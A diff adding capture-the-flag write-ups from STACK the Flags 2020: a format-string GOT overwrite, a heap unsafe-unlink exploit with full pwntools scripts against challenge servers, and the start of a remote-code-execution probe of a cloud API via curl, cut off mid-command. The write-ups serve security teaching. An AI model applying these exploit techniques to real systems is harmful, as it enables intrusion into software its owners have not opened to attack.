diff --git a/STACK the Flags 2020/Mitsuha/Binary Exploitation/BE-2/README.md b/STACK the Flags 2020/Mitsuha/Binary Exploitation/BE-2/README.md new file mode 100644 index 0000000..a388e38 --- /dev/null +++ b/STACK the Flags 2020/Mitsuha/Binary Exploitation/BE-2/README.md @@ -0,0 +1,393 @@ +# Beta reporting system [1000] [BINARY EXPLOITATION] + +The developer working for COViD that we arrested refused to talk, but we found a program that he was working on his laptop. His notes have led us to the server where the beta is currently being hosted. It is likely that there are bugs in it as it is a beta. + +Note: ASLR is enabled on the OS. PIE is not enabled. + +Please view this [Document](https://docs.google.com/document/d/1jdGOn98yRZlYOxywxS___i71_gkmqiMJuyCE8TZKTpI/edit?usp=sharing) for download instructions. + +nc yhi8bpzolrog3yw17fe0wlwrnwllnhic.alttablabs.sg 30121 + + This challenge: +\- Is eligible for Awesome Write-ups Award + +**Files**: `beta_reporting`, plus a placeholder `flag`. + +## Beginning + +This challenge is about a linux executable, with the final goal of abusing exploits in the file to print a `flag` file located at the remote server, `yhi8bpzolrog3yw17fe0wlwrnwllnhic.alttablabs.sg:30121`. + +Running `./beta_reporting` in a linux terminal will produce a simple interface: + +```sh +$ ./beta_reporting + +*************************** +COVID Beta Case Reporting System +*************************** +1. Make a new report summary +2. View Report +3. Delete Report +5. Quit +*************************** +Enter your choice: +``` + +Since the ultimate goal is to find a bug in the program, we will need to figure out exactly what each of the options do. You can do this by opening `beta_reporting` a decompiler like [ghidra](https://ghidra-sre.org/), [Binary Ninja](https://cloud.binary.ninja/), or IDA Pro, the last of which is used in this writeup. All of these decompilers will provide reasonably simple code that can be understood by an experienced C programmer. Eventually, the programming for`beta_reporting` can be understood as this1: + +```c +// global definitions +typedef struct Report { + char *comment; + int report_num; +} Report; +Report reportlist[200]; +int reporttotalnum; +char *comment; + +// to display the text interface +int menu(){ + putchar(10); + puts("***************************"); + puts("COVID Beta Case Reporting System"); + puts("***************************"); + puts("1. Make a new report summary "); + puts("2. View Report"); + puts("3. Delete Report"); + puts("5. Quit "); + puts("***************************"); + return puts("Enter your choice: "); +} + +// option 1 +int makeareport(){ + /* this function is technically bugged due to a lack of a bounds check for `reporttotalnum`. + * however, due to the specific order of writes here, this is actually difficult to exploit + * because reporttotalnum will not be changed beyond +-1 on the first OOB write. + * Essentially, this function can be taken to be Working-As-Intended */ + puts("Please enter the description of the report:"); + comment = malloc(0x1F4); + read(0, comment, 0x1F4); + reportlist[reporttotalnum].report_num = reporttotalnum+1; + reportlist[reporttotalnum].comment = comment; + printf("Report created. Report ID is %d\n", reporttotalnum + 1); + return reporttotalnum++ + 1; +} + +// option 2: location of bug +int viewreport(){ + char first_4_bytes[4]; + char nptr[8]; + char s[256]; + + int report_num = -1; + puts("Please enter your name: "); + fgets(s, 256, stdin); + s[strcspn(s, "\n")] = '\0'; + printf("Welcome %s!\n", s); + for (int i = 0; i <= 3; ++i) // this is strange & should raise red flags. + first_4_bytes[i] = s[i]; + while (report_num) { + puts("Please enter report number or press 0 to return to menu: "); + fgets(nptr, 8, stdin); + report_num = atoi(nptr); + if (report_num >= 0 && report_num <= reporttotalnum) { + if (report_num) { + puts("Report details: "); + printf(reportlist[report_num-1].comment); // this is a dangerous Format String Bug. + } else + puts("Returning to menu!"); + } else + puts("invaild report number\n"); + } +} + +// option 3: what is this even for? +unsigned int deletereport() { + // this function writes to the stack to "clear it out". + // It's a "work in progress", and we'll ignore it. + int s[31]; + int s2[31]; + qmemcpy(s, "&", sizeof(s)); + for (int i = 0; i <= 0x1E; ++i) + s2[i] = s[i] ^ 0x41; + puts("Delete Report is work in progress"); +} + +// option 4: the hidden option +void magicfunction() { + *(int*) magic = *(int*)"flag"; +} // this changes the string `magic` to be "flag". + +// option undeclared: the hidden function +void unknownfunction() { + char buf[31]; // [esp+Dh] [ebp-2Bh] + int fd = open(magic, 0); + read(fd, buf, 0x1Fu); + close(fd); + printf("%s", buf); + exit(0); +} // this will read & print the contents of the file at filepath `magic`. + +// the decision menu +void userchoice(){ + char buf[8]; + setvbuf(stdout, 0, 2, 0); + setvbuf(stdin, 0, 2, 0); + while (1){ + menu(); + read(0, buf, 8); + switch (atoi(buf)) { + case 1: + makeareport(); + break; + case 2: + viewreport(); + break; + case 3: + deletereport(); + break; + case 4: + magicfunction(); + break; + case 5: + exit(0); + return; + default: + puts("Wrong choice. Please enter again: "); + break; + } + } +} + +int main(){ + userchoice(); +} +``` +Take a while to read all of that, if you need to. + +## Moving to exploit +There are a number of factoids in the above decompiled output that an experienced pwner will spot quickly. + +1. the `View Report` option involves a call to `printf()`. This is a [format string bug](https://ctf-wiki.github.io/ctf-wiki/pwn/linux/fmtstr/fmtstr_intro/), and can be used for reading/writing to any location in the program's RAM. +2. `Delete report` is 'incomplete': this is usually indicative of an intentionally inserted exploit vector for the challenge. In this case though, it appears to be a red herring. +3. There is a section of the program containing an unreferenced function, `unknownfunction`. This function prints the file referenced by variable `magic`, which can be set to `"flag"` via the (hidden) option 4 in the user interface. + +From 1 and 3, we can conclude that the exploit for this challenge must involve using (1) to alter the program to execute (3). To figure out what can be done, you can use the `checksec` command that comes with the [`pwntools`](https://github.com/Gallopsled/pwntools/) library: +``` +$ checksec beta_reporting +[*] 'beta_reporting' + Arch: i386-32-little + RELRO: Partial RELRO # vulnerable + Stack: Canary found + NX: NX enabled + PIE: No PIE (0x8048000) # vulnerable (but also known from the challenge description) +``` +The lack of "RELRO" (more on that [here](https://systemoverlord.com/2017/03/19/got-and-plt-for-pwning.html)) indicates that the "Global Offset Table" can be overwritten to control program flow. If you don't know what that is, the GOT is essentially a "list of functions" 2 stored at a location in memory. In IDA Pro, the contents of the GOT are displayed in the `IDA View` tab: +```c +.got.plt:0804B000 ; =========================================================================== +.got.plt:0804B000 +.got.plt:0804B000 ; Segment type: Pure data +.got.plt:0804B000 ; Segment permissions: Read/Write +.got.plt:0804B000 _got_plt segment dword public 'DATA' use32 +.got.plt:0804B000 assume cs:_got_plt +.got.plt:0804B000 ;org 804B000h +.got.plt:0804B000 _GLOBAL_OFFSET_TABLE_ dd offset _DYNAMIC +.got.plt:0804B004 dword_804B004 dd 0 ; DATA XREF: sub_80484D0↑r +.got.plt:0804B008 dword_804B008 dd 0 ; DATA XREF: sub_80484D0+6↑r +.got.plt:0804B00C off_804B00C dd offset read ; DATA XREF: _read↑r +.got.plt:0804B010 off_804B010 dd offset printf ; DATA XREF: _printf↑r +.got.plt:0804B014 off_804B014 dd offset strcspn ; DATA XREF: _strcspn↑r +.got.plt:0804B018 off_804B018 dd offset fgets ; DATA XREF: _fgets↑r +.got.plt:0804B01C off_804B01C dd offset __stack_chk_fail +.got.plt:0804B01C ; DATA XREF: ___stack_chk_fail↑r +.got.plt:0804B020 off_804B020 dd offset malloc ; DATA XREF: _malloc↑r +.got.plt:0804B024 off_804B024 dd offset puts ; DATA XREF: _puts↑r +.got.plt:0804B028 off_804B028 dd offset exit ; DATA XREF: _exit↑r +.got.plt:0804B02C off_804B02C dd offset open ; DATA XREF: _open↑r +.got.plt:0804B030 off_804B030 dd offset __libc_start_main +.got.plt:0804B030 ; DATA XREF: ___libc_start_main↑r +.got.plt:0804B034 off_804B034 dd offset setvbuf ; DATA XREF: _setvbuf↑r +.got.plt:0804B038 off_804B038 dd offset putchar ; DATA XREF: _putchar↑r +.got.plt:0804B03C off_804B03C dd offset atoi ; DATA XREF: _atoi↑r +.got.plt:0804B040 off_804B040 dd offset close ; DATA XREF: _close↑r +.got.plt:0804B040 _got_plt ends +.got.plt:0804B040 +``` +Each line/address here corresponds with a function, like `read()`, `printf()`, or `exit()`. By overwriting a function here with the destination (_pointer to_) another function, the behaviour of the overwritten function will change to match that of the newly written function pointer. + +This knowledge allows for the creation of a rudimentary exploit plan: +* use printf() _somehow_ to overwrite a GOT function with the address of `unknownfunction`. My choice here will be to change `exit()` to execute `unknownfunction()`, so that it can be easily triggered with option 5 in the interactive menu. +* run options 4 and 5 to get the flag. + +Using `printf()` to complete the exploit will be the most confusing part of all of this for beginners. Let's try to make things easier to understand with a few experiments. + +## Approaching printf() +The first thing to do with a `printf()` bug is to figure out the layout of the stack, relative to `printf()`. This is because `printf()` takes all of its arguments3 off the stack, and we'll need to figure out how the stack can be controlled to write to the GOT. +```c +*************************** +<....> +Enter your choice: +1 +Please enter the description of the report: +%p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p # <-- spam %p to check the highest values on the printf() stack +Report created. Report ID is 1 + +*************************** +<....> +Enter your choice: +2 +Please enter your name: +aaaabbbbccccddddeeee # <-- the name is a part of the stack; add input here to control the stack of `printf()` +Welcome aaaabbbbccccddddeeee! +Please enter report number or press 0 to return to menu: +1 +Report details: +0x8 0xf67bb5a0 0xf67fe000 0xf6679f70 0xf67ef5f0 0x1 0x4 0x61616161 0xf6000a31 0xf67bbd60 0x61616161 0x62626262 0x63636363 0x64646464 0x65656565 (nil) 0x8048e40 0x13 0xf67bbd60 +Please enter report number or press 0 to return to menu: +``` +This experiment shows that the input for `your name` will end up as the `11+`th argument for `printf()` +```c +...| 9 | 10 | 11 | 12 | 13 | 14 | 15 |... +...|0xf6000a31|0xf67bbd60|0x61616161|0x62626262|0x63636363|0x64646464|0x65656565|... +``` +You can verify that fact by trying another format string that specifically targets the 11th argument: +```c +*************************** +<...> +Enter your choice: +1 +Please enter the description of the report: +%11$p +Report created. Report ID is 1 + +*************************** +<...> +Enter your choice: +2 +Please enter your name: +aaaa +Welcome aaaa! +Please enter report number or press 0 to return to menu: +1 +Report details: +0x61616161 +``` +With this knowledge, it is possible to use `printf()` to overwrite memory byte-by-byte, using the `%n` modifier. From the `printf` manpage: +``` +n The number of characters written so far is stored into the integer + pointed to by the corresponding argument. That argument shall be an + int *, or variant whose size matches the (optionally) supplied integer + length modifier. +``` +Let's say we want to write the value `50` to address `0x61616161`. Using the input for `name`, we'll insert the address `0x61616161` as a packed string (this is "aaaa" as seen previously). To write the value itself, we would use the format string `%50c%11$hhn`. `%50c` means "print 50 characters"; this is done to set the `number of characters written so far` to 50. `%11$hhn` means "write the number of characters written so far, as a single byte, to the 11th argument of `printf()`". As obtained prior, the 11th argument will be the first 4 bytes of `name`: 0x61616161. + +We'll generalise this exploit pattern to a python function4, so that it'll be easy enough to repeat. +```python +from pwn import * # please install pwntools if you have not +r = remote('yhi8bpzolrog3yw17fe0wlwrnwllnhic.alttablabs.sg', 30121) +def write_byte(addr: int, value: int, report_ID=[1]) -> None: + # send format string + r.sendlineafter('choice: \n', '1') + r.sendlineafter('report:\n', '%{}c%11$hhn'.format(value)) + # send name + r.sendlineafter('choice: \n', '2') + r.sendlineafter('name: \n', pack(addr)) + # printf() the report & return to main menu + r.sendlineafter('menu: \n', str(report_ID[0])) + report_ID[0] += 1 + r.sendlineafter('menu: \n', '0') +``` +Now that `printf()` is settled, we can move on to the exploit proper. +## Final steps +Finding the location of `exit()` in the GOT is easy5: just use pwntools: +```python +from pwn import * +context.binary = 'beta_reporting' # run this script in the same directory as be-challenge-2/ +exit = context.binary.got['exit'] +desired = context.binary.symbols['unknownfunction'] +print(hex(exit), hex(desired)) # the result here will be 0x804b028 0x80488f7 +``` +The result of this script will be `0x804b028 0x80488f7`. To overwrite `exit()` with `unknownfunction()`, all you need to do is to overwrite the last two bytes6: +```python +write_byte(exit, desired&0xff) +write_byte(exit+1, (desired&0xff00)>>8) +``` +After that, the challenge is finished with options 4 and 5: +```python +r.sendlineafter('choice: \n', '4') +r.sendlineafter('choice: \n', '5') +print(r.recvuntil('}')) +``` +That's that7. +## Flag +`govtech-csg{c0v1d_5y5tem_d0wn!}` + +## Footnotes +1. There are inevitably errors _somewhere_ in my interpretation of the program. What matters is that you get the important parts right. +2. This is intentionally simplified --- don't @ me. +3. In i386. x86-64 programs will take arguments off the register first, and other architectures will further baffle with their surprises. +4. Two things about this function that may be confusing: + * If you've never touched pwntools, you probably have no idea what `sendlineafter()` or `pack()` is. **Read the pwntools documentation**, seasoned pwners don't do that enough, and you should start out on the right path. + * `report_ID=[1]` is a nice (read: horrifying) python hack that I'm using here to keep a variable that is + 1. stored between function calls, and + 2. bounded (local) to the function itself + * Also, if you're stuck in python2, you may be confused by the [type hints](https://www.python.org/dev/peps/pep-0483/) present in the code. Please move on! +5. Not so easy if the challenge organisers run gcc with `-s`. Watch out for that in other CTFs. +6. The bithacks here are to grab the lowest (&0xff) and the second lowest (&0xff00 >> 8) bytes respectively. +7. Instead of `r.interactive()` (which most writeups do), the python script terminates with `r.recvuntil('}')` because `unknownfunction()` itself actually calls `exit()`, causing an infinite loop that will cause pwntools to become non-responsive. + +## An extra note +I only wrote `write_byte()` as a way of explaining how `printf()` works. After you learn the ropes, you should **never, ever** re-write another format string handling function, because `printf()` exploit helpers are already [packaged along](http://docs.pwntools.com/en/stable/fmtstr.html) in pwntools. I even made [an extended version of their format string library](https://github.com/152334H/pwnscripts), along with other automated functions I use for pwnables. + +During the CTF, my code was a lot dirtier, and I abused `fmtstr_payload()` instead of reinventing the wheel as above. +```python +from pwnscripts import * +context.binary = 'beta_reporting' +def printf(s,name): + r = remote('yhi8bpzolrog3yw17fe0wlwrnwllnhic.alttablabs.sg', 30121) + r.sendlineafter('choice: \n', '1') + r.sendlineafter('\n', s) + r.sendlineafter('choice: \n', '2') + r.sendlineafter('name: \n', name) + r.sendlineafter('menu: \n', '1') + return r +offset = 8 +payload = fmtstr_payload(2, {context.binary.got['exit']: context.binary.symbols['unknownfunction']}) +r = printf(payload[:36], payload[36:]) +r.sendlineafter('menu: \n', '0') +r.recvuntil('choice: \n') +r.sendline('4') +r.recvuntil('choice: \n') +r.sendline('5') +r.interactive() +``` +This code makes sense if you've done a lot of `printf()` problems before, but would be totally nonsensical to a beginner. I'm including it here for the sake of it. + +After the CTF, I realised that pwntools actually has a nice function specifically for this kind of `printf()` challenge: the unreferenced [`fmtstr_split()`](https://github.com/Gallopsled/pwntools/blob/dev/pwnlib/fmtstr.py#L743). The code above can be modified to be a lot less hardcoded, and more algorithmically sensible: + +```python +from pwnscripts import * +context.binary = 'beta_reporting' +def printf(s,name): + ... + r.sendlineafter('menu: \n', '1') + r.recvline() + return r, r.recvline() +# compute printf() offset via pwnscripts +offset = fsb.find_offset.buffer(lambda s:printf(s,'AAAA')[1], 10) +# run printf() with a bipartite payload from pwn.make_payload_dollar() +r,_ = printf(*fmtstr_split(offset, {context.binary.got['exit']: p16(context.binary.symbols['unknownfunction']&0xffff)}, write_size='short')) + +r.sendlineafter('menu: \n', '0') +... +``` +`fsb.find_offset.buffer()` is a [creation of my own](https://github.com/152334H/pwnscripts), and it'll bruteforce the offset to the first time it sees `"AAAA"`. This exists as a pwntools feature too (cf. [`pwn.FmtStr`](https://github.com/Gallopsled/pwntools/blob/dev/pwnlib/fmtstr.py#L816)), but I'm more familiar with my own tools :P + +The other complex line below it has two special points of note: + * the value in the write-dict passed (`unknownfunction`) is wrapped with `p16` to ensure that the minimal amount of writing happens. This works because the original value at an unused GOT function happens to lie in the same memory page: + ``` + gef➤ telescope 0x804b028 + 0x0804b028│+0x0000: 0x08048556 → 0x00003868 ("h8"?) + ``` + * `write_size` is set to short to ensure that only 1 address is written to by printf(). This is done because the offset found above will end up catching the 4 bytes copied higher up in the stack (cf. line 88, `"this is strange & should raise red flags."`), rather than the genuine beginning of the offset to `name[]`, which will mess up the hypothetical multi-address write from `write_size='byte'`. \ No newline at end of file diff --git a/STACK the Flags 2020/Mitsuha/Binary Exploitation/BE-3/README.md b/STACK the Flags 2020/Mitsuha/Binary Exploitation/BE-3/README.md new file mode 100644 index 0000000..b4fd65a --- /dev/null +++ b/STACK the Flags 2020/Mitsuha/Binary Exploitation/BE-3/README.md @@ -0,0 +1,345 @@ +# Stop COViD's recruitment! [2000] +1 SOLVES + +We got intelligence that COViD is hosting a program for recruiting agents on a remote server. This should be the same Linux binary that we found on one of his agent laptops. + +Note: ASLR is enabled on the OS. PIE is not enabled. + +Please view this Document for download instructions. + +nc yhi8bpzolrog3yw17fe0wlwrnwllnhic.alttablabs.sg 30131 + +This challenge: +- Is eligible for Awesome Write-ups Award +- Prerequisite for Mastery Award - Master of Reverse Engineering & Exploitation +## TL;DR +* I ignore everything about ptrace --- couldn't get it to run locally anyway. +* There is a big function (I call it `probably_password_checker()`) that does password verification before you can access the actual CLI menu of interest. I manually reversed the password out of it; there's probably a smart way to do it symbolically. +* `3. Edit member details` has a basic heap overflow. Abuse it (cf. how2heap/unsafe_unlink.c) to switch `GOT.exit()` to `getflag()`. + +This writeup assumes you've done at least 1 heap pwn in your life. +## Starting +`Main()` (i.e. the sole function that is called by `main()` proper) involves a convoluted chain of `ptrace()` calls. If --- like me --- you don't understand any of that, that's okay: we'll be solving this challenge fully remote. + +Within `Main()`, there are two non-libc functions called: + * one function (0x804A0A5) is called at the end of `Main()`. Let's call this `parent_function()`, because it's called by the initial parent to all of the `fork()`ed processes. + ```c + unsigned int parent_function() { + char s[32]; // [esp+Ch] [ebp-2Ch] + do { + printf("Please enter password to enter system: "); + __isoc99_scanf("%32s", &s); // this is actually a 1-byte overflow, but since the canary is always '\0' anyway... + strlen(&s); + if ( buggedfunc() == 1 ) { + authorised_menu(); + break; + } + else + puts("Wrong password Please enter again!\n"); + } while (1); + } + ``` + This function is what handles the password input for the process. The password checking process is pushed to one of the child processes via the `ud2` instruction in `buggedfunc()`. When it succeeds, it calls `authorised_menu()`, which we'll get to later. + * The other function (0x804AA36) is called by one of the child processes. That function itself also contains a ton of `ptrace` calls, but **also has a reference to another non-library function** (0x804A417) which I labelled during the CTF as `probably_password_checker()`. +We'll forget about the first function for now, because the immediate focus should be on solving the `password_checker`. Here's how it looks like after cleaning up: +```c +bool probably_password_checker(char *pass) +{ + char S1[64]; + char S2[64]; + char S3[64]; + char pass_reversed[64]; + char S1plusS2[64]; + char passrev_minusS2_plusS1[64]; + char passrev_minus_S2[64]; + char pass_hex[32]; + char hex_S1pS2[64]; + char hex1[64] = "..."; // this is a constant embedded in the function + char hex2[64] = "..."; // ibid + char hex3[64] = "..."; // same + + memset(hex_S1pS2, 0, sizeof(hex_S1pS2)); + strxxd_bigendian(pass, pass_hex); + clear_64_bytes(S1); + clear_64_bytes(S2); + clear_64_bytes(S3); + clear_64_bytes(pass_reversed); + clear_64_bytes(S1plusS2); + clear_64_bytes(passrev_minusS2_plusS1); + clear_64_bytes(passrev_minus_S2); + unhexn_littleendian(S1, hex1, 64); + unhexn_littleendian(S2, hex2, 64); + unhexn_littleendian(S3, hex3, 64); + unhexn_littleendian(pass_reversed, pass_hex, 64); + add_64bytes(S1, S2, S1plusS2); + strnxxd_littleendian(S1plusS2, hex_S1pS2, 64); + // this part is completely useless! just ignore this. + char *hex_S1pS2_ = print_frobbed(hex_S1pS2, 64); + if ( !strcmp(pass_hex, hex_S1pS2_) ) + puts("Comparing password......"); + // end of useless section. + subtract_64bytes(pass_reversed, S2, passrev_minus_S2); + add_64bytes(passrev_minus_S2, S1, passrev_minusS2_plusS1); + return rev_strcmp(passrev_minusS2_plusS1, S3) == 0; // this is the actual comparison to be passed. +} +``` +To solve this part, +* dump out the `hex*[]` constants by just copy-pasting decompiler code into a C wrapper +* analyse every function inside (which is why they're all named here) +* get the password: + ```python + HEXES = [0x11343447d5b9e1e6cdae92faaea8880db1fab16b1568da13c3715f2aeba9d94f, + 0x363b422c8fa9864675a4b480c5bfa965ad36c1f44bf68c4da7f4003b45b78e2e, + 0x2b2a577c7b75bb0bbd833de35748531035f94ee709a7833d4befc34f0e57bd86] + pw = pack(HEXES[2]-HEXES[0]+HEXES[1], 'all')[::-1] + ``` +This part is just reverse engineering; let's not dwell on it. +Once you do that right, you'll get the password: +``` +Welcome to COVID Recruitment System............ +Please enter password to enter system: P1ea5e_key_in_th15_p@55w0rd_here + +*************************** +COVID Recruitment System +*************************** +1. Add new member +2. List member details +3. Edit member detais +4. Delete members +5. Quit +*************************** +Enter your choice: +``` +Now for menu exploitation. +## Decompiling everything, again. +The menu has 5 options, plus one hidden option (9): +```c +int strange_cheat_function() { + return puts("Well.. this function might be helpful"); +} // ⓘ Official sources dispute this claim. +``` +Each member is described by this struct: +```c +typedef struct Member { + int size; + char name[32]; + char *details; + int ID; +} Member; +Member members[200]; //0804D0A0-0804F300 +int member_count; +``` +The other functions have a number of bugs: +```c +int add() { + char num[8]; + char name[32]; + if ( member_count > 199 ) + puts("Member list is full"); + else { + for (int i = 0; i <= 199; ++i) { + if (!members[i].details) { + puts("Please enter the name of member:"); + read(0, name, 0x20); + name[strcspn(name, "\n")] = 0; // this is exploitable because read() doesn't need newlines. I didn't bother. + name[strlen(name)] = 0; // this is the most pointless line of code I've ever seen in my entire life. + strncpy(members[i].name, name, strlen(name)); // this is a repeated strlen call. the above line is still useless. + puts("Please enter the length of note:"); + read(0, num, 8); + int size = atoi(num); + if (!size) { + puts("invaild length"); + return 0; + } + members[i].size = size; + members[i].details = malloc(size); + puts("Please enter details in the note:"); + members[i].details[read(0, members[i].details, size)] = 0; // off-by-one NUL exploitable. I didn't bother. + members[i].ID = member_count; + printf("Member created. Member ID is %d\n", ++member_count); + return 0; + } + } + } +} +``` +The minor bugs here are probably unintentional, because there's a far stronger bug in `edit()`: +```c +int edit() { + char nptr[8]; + char buf[8]; // this has the same purpose as nptr, but exists as separate memory + printf("Please enter member ID to edit the notes:"); + read(0, buf, 8); + int id = atoi(buf); + if (!id) { + puts("invaild member id"); + return 0; + } + if ( id > 0 && id <= 199 ) { + if ( members[id-1].details ) { + puts("Please enter the length of note:"); + read(0, nptr, 8); + int nbytes = atoi(nptr); // any value can be inserted here!!! + if ( !nbytes ) { + puts("invaild length"); + return 0; + } + puts("Please enter the new details in the note:"); + members[id-1].details[read(0, members[id-1].details, nbytes)] = 0; // arbitrary heap overflow!!! + } + else + puts("No such member!"); + } + else + puts("No such member!"); + puts(""); +} +``` +You can do a lot with an arbitrary heap overflow, but you'll probably need to `free()` something first. In delete, we'll get that: +```c +int delete() { + char buf[8]; + puts("Please enter member ID to delete:"); + read(0, buf, 8); + int ID = atoi(buf); + if (ID) { + if (ID > 0 && ID <= 199) { + if (members[ID-1].details) { // this part is pretty clean: everything is zeroed out (ignoring the heap data itself) + free(members[ID-1].details); + memset(members[ID-1].name, 0, 0x20); + members[ID-1].size = 0; + members[ID-1].details = 0; + members[ID-1].ID = 0; + puts("Member removed successfully"); + --member_count; + } + else + puts("No such member!"); + } + else + puts("No such member!"); + puts(""); + } + else + puts("invaild member id"); +} +``` +There are two remaining functions: `list()` and `exit()`. `list()` would've been useful for a leak, but because PIE is (still!) disabled, it's completely unnecessary. As for `exit()`, it's exit(). + +There's also a hidden `getflag()` function at `0x8049F29`. Since RELRO is still disabled here, our goal will be replacing `exit()` with `getflag()`, much like the previous challenge. + +To handle everything in the menu programmatically, we'll make a class: +```python +from pwnscripts import * +context.binary = 'recruitment' +context.binary.symbols['getflag'] = 0x8049F29 +context.binary.symbols['Members'] = 0x804D0A0 +# MANUALLY DECOMPILED +HEXES = [0x11343447d5b9e1e6cdae92faaea8880db1fab16b1568da13c3715f2aeba9d94f, + 0x363b422c8fa9864675a4b480c5bfa965ad36c1f44bf68c4da7f4003b45b78e2e, + 0x2b2a577c7b75bb0bbd833de35748531035f94ee709a7833d4befc34f0e57bd86] +pw = pack(HEXES[2]-HEXES[0]+HEXES[1], 'all') + +def member(ID): # for later + STRUCT_SIZE = 44 # decompiled + ID -= 1 # indexing in the true Members array starts from 0 rather than 1 + class Member(int): + def __getattr__(self, name): + offsets = {'size': 0, 'name': 4, 'details': 36, 'ID': 40} + if name in offsets: return int(self)+offsets[name] + return Member(context.binary.symbols['Members']+ID*STRUCT_SIZE) + +class Menu(pwnlib.tubes.remote.remote): + def login(r): + r.sendlineafter('system: ', pw[::-1]) + r.member_count = 0 + def opt(r, v): + r.sendlineafter('choice: \n', str(v)) + def add(r, name, notelen: int, note): + assert r.member_count < 199 + r.member_count += 1 + r.opt(1) + r.sendafter('name of member:\n', name) + r.sendafter('length of note:\n', str(notelen)) + r.sendafter('details in the note:\n', note) + return r.recvline() + def list(r, ID: int): + r.opt(2) + r.sendafter('ID to display:\n', str(ID)) + return dict((k,r.recvline().split(b': ')[-1]) for k in (b"ID", b"Name", b"Notes")) + def edit(r, ID: int, notelen: int, note): + r.opt(3) + r.sendafter('edit the notes:', str(ID)) + r.sendafter('length of note:\n', str(notelen)) + r.sendafter('in the note:\n', note) + def delete(r, ID: int): + r.opt(4) + r.sendlineafter('ID to delete:\n', str(ID)) + def quit(r): + r.opt(5) + def magic(r): + r.opt(9) +r = Menu('yhi8bpzolrog3yw17fe0wlwrnwllnhic.alttablabs.sg', 30131) +r.login() +``` +We'll move on. + +## Abusing heap overflow +I had no idea what the remote version of libc was, so I [assumed the worst](https://elixir.bootlin.com/glibc/glibc-2.31.9000/source/malloc/malloc.c)1. To exploit the latest version of malloc, we can follow the exploit laid out [here](https://heap-exploitation.dhavalkapil.com/attacks/unlink_exploit). We'll start by allocating two chunks: +```python +SIZE = 0x418 +r.add('me', SIZE, '1') +r.add('me2', SIZE, '2') +``` +`SIZE` needs to be large enough to not fall into the tcache/fastbins2, and 0x400+ is definitely big enough. + +Right now, the heap looks like this: +``` ++----metadata----+-member1-+----metadata----+-member2+ +| prevsize, size | | prevsize, size | | ++--------8-------+--SIZE---+--------8-------+--SIZE--+ +``` +We're going to create a fake chunk within member 1, such that member 1 (the "user-controlled" part of it, not including metadata preceding it) will look like this3: +``` +<-------------------------------member 1-------------------------------> ++-prevsize-+-size-+---------fd--------+---------bk--------+-garbage-+ +| | SIZE | ((int*)members)-3 | ((int*)members)-2 | 0 | ++-----4----+---4--+---------4---------+---------4---------+-SIZE-16-+ +``` +We'll also alter member 2's metadata: +``` +<-----metadata------> ++-prevsize-+--size--+ +| SIZE | SIZE+8 | ++-----4----+----4---+ +``` +We'll do both of these things at once by overflowing on `edit()`: +```python +payload = pack(SIZE).rjust() +payload+= pack(member1_ptr-context.bytes*3) +payload+= pack(member1_ptr-context.bytes*2) +payload = payload.ljust(SIZE,b'\0') +payload+= pack(SIZE) + pack(SIZE+8) +r.edit(1, len(payload), payload) +``` +At this point, freeing the second member will cause malloc.c to attempt to merge the fake free chunk we created with the second chunk. In a convoluted series of events, this will cause the global `members[0].details` pointer to be overwritten with `(&members[0].details)-3`. Editing `members[0].details` _after_ freeing `members[1].details` will allow us to overwrite `members[0].details` to anything we want, and that will give arbitrary write+read: write from _yet another_ `edit()`, and read from `list()` (which, once again, we don't need here). + +Since the goal is to just overwrite the GOT table, we'll replace `members[0].details` with `.got['exit']`, and we'll edit it to match `getflag()` before calling `exit()`. + +```python +r.delete(2) +payload = pack(context.binary.got['exit']).rjust(context.bytes*4) +r.edit(1, len(payload), payload) +r.edit(1, 4, pack(context.binary.symbols['getflag'])) +r.quit() +print(r.recvuntil('}')) +``` +Chalk up another one. + +## Flag +`govtech-csg{5t0p_c0v1d_r3cru1tm3nt}` + +## Footnotes +1. I actually tried isolating the libc version before I realised `getflag()` existed. The libc-database couldn't identify the version! +2. The minimum value for which my exploit script still works is `0x48`, but `MAX_FAST_SIZE` is `80*SIZE_SZ/4 == 0x50`. I think I mixed up request size vs. actual size somewhere. +3. There's almost certainly something wrong here, whether be it the lowermost bits of size or something else. In any case, the script works. \ No newline at end of file diff --git a/STACK the Flags 2020/Mitsuha/Cloud/2. Hold the line! Perimeter defences doing it's work/README.md b/STACK the Flags 2020/Mitsuha/Cloud/2. Hold the line! Perimeter defences doing it's work/README.md new file mode 100644 index 0000000..27beb5f --- /dev/null +++ b/STACK the Flags 2020/Mitsuha/Cloud/2. Hold the line! Perimeter defences doing it's work/README.md @@ -0,0 +1,89 @@ +# Hold the line! Perimeter defences doing it's work! +*Apparently, the lead engineer left the company (“Safe Online Technologies”). He was a talented engineer and worked on many projects relating to Smart City. He goes by the handle c0v1d-agent-1. Everyone didn't know what this meant until COViD struck us by surprise. We received a tip-off from his colleagues that he has been using vulnerable code segments in one of a project he was working on! Can you take a look at his latest work and determine the impact of his actions! Let us know if such an application can be exploited!* + +*[Tax Rebate Checker](http://z8ggp.tax-rebate-checker.cf/)* + +### Challenge analysis +- This just seems to be an ordinary application hosted on the website, and looking from the source code (`main.js`) we can rougly tell that it is a React App. +- We have no choice but to look deeper into the source of the application, by formatting the code nicely and taking a better look. +- There is an interesting string in the application that appears twice: (although not important for this challenge; red herring) ```SECRET_DO_NOT_PASS_THIS_OR_YOU_WILL_BE_FIRED``` +- Other than that, there isn't anything else interesting in the source code. + +### RCE?! +- However, we do find an API gateway URL hidden inside the source, and is presumably the backend url to calculate the amount of tax rebate. (`https://af7jsq9nlh.execute-api.ap-southeast-1.amazonaws.com/prod/tax-rebate-checker`) +- The server accepts a JSON-encoded payload with 2 base-64 encoding string keys, `age` and `salary`. +- By trial and error, we find out that the formula is roughly `age + salary * PI`. +- We also notice that when we put an addition string into age (e.g. `1+1`), the value is treated as 2, meaning that the server actually evaluates the expression! +- Hence, we just need to perform some kind of remote code execution (RCE) on the system to obtain the flag. +- Through much trying and testing again, we realise that there is an unfortunate limit of 50 characters on the JSON payload, which include both the age and salary key names and their base-64 encoded values. +- Thus, it would be unlikely to find any useful information with the limited input size +- We did manage to obtain the local variable information using this payload for age: `Object.keys(this)` (this info is useful later on) +```$ curl -X POST https://af7jsq9nlh.execute-api.ap-socom/prod/tax-rebate-checker -H "Content-Type: application/json" -d '{"age":"T2JqZWN0LmtleXModGhpcyk","salary":"MA"}'``` +```{"results":"SAFE_EVAL_227291,person,gc0"}``` +- And the properties of `person` as well: +```$ curl -X POST https://af7jsq9nlh.execute-api.ap-southeast-1.amazonaws.com/prod/tax-rebate-checker -H "Content-Type: application/json" -d 